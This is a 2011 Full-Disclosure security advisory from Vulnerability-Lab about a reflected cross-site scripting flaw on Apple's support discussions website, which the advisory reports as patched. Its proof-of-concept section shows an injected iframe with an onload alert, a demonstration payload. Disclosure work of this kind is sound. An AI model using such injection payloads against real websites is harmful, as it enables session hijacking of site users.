[Full-disclosure] Apple Website - Non Persistent Cross Site Scripting Vulnerability

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Title:
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Apple Website - Non Persistent Cross Site Vulnerability


Date:
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2011-10-07


References:
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http://www.vulnerability-lab.com/get_content.php?id=289


VL-ID:
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289


Introduction:
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(Copy of the Vendor Homepage: 
https://discussions.apple.com/static/apple/tutorial/welcome.html )


Abstract:
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Vulnerability-Lab Team (Alexander F.) discovered a non-persistent input 
validation vulnerability on the famous Apple vendor website.


Report-Timeline:
================
2011-10-05:     Vendor Notification
2011-10-06:     Vendor Response/Feedback
2011-10-07:     Vendor Fix/Patch
2011-10-07:     Public or Non-Public Disclosure


Status:
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Published


Affected Products:
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Apple Website - 2011/Q3


Exploitation-Technique:
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Remote


Severity:
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Medium


Details:
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A non-persistent cross site scripting vulnerability is detected on the famous 
Apple vendor website portal. 
Successful exploitation of the vulnerability allows an attacker to hijack 
user/mod/admin sessions of the portal.

Vulnerable Module(s):
                                                        [+] Exception-Handling 
- We are Sorry

Picture(s):
                                                        ../1.png
                                                        ../2.png


Proof of Concept:
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The vulnerabilities can be exploited by remote attackers with required user 
inter action. For demonstration or reproduce ...

PoC:
<!-- BEGIN main body -->
<div id="jive-body-main">
    <!-- BEGIN main body column -->
<div id="jive-body-maincol-container">
        <div id="jive-body-maincol">    
<h1 class="apple-account-issue-reported">We're sorry.</h1>      
<div id="apple-sso-error">
><iframe src="http://www.vulnerability-lab.com"; 
>onload="alert(vulnerabilitylab)" height="800px" width="900px">   <=[x]  
</div><div id="apple-sso-home">
Return to 
<a href="https://discussions.apple.com";>Apple Support Communities</a>.          
        
</div>
        </div>
    </div>
<!-- END main body column -->
</div>
<!-- END main body -->   
</div>          
<div class="clear"></div>               
<div class="boot"></div>                
</div><!--/content-->   
</div><!--/#main-->


Reference(s):
                                ../apple-sso-error.txt
                                ../sso-error!home.jspa


Risk:
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The security risk of the reflective xss vulnerabilities are estimated as 
medium(-).


Credits:
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Vulnerability Research Laboratory - Alexander Fuchs (f0X23)


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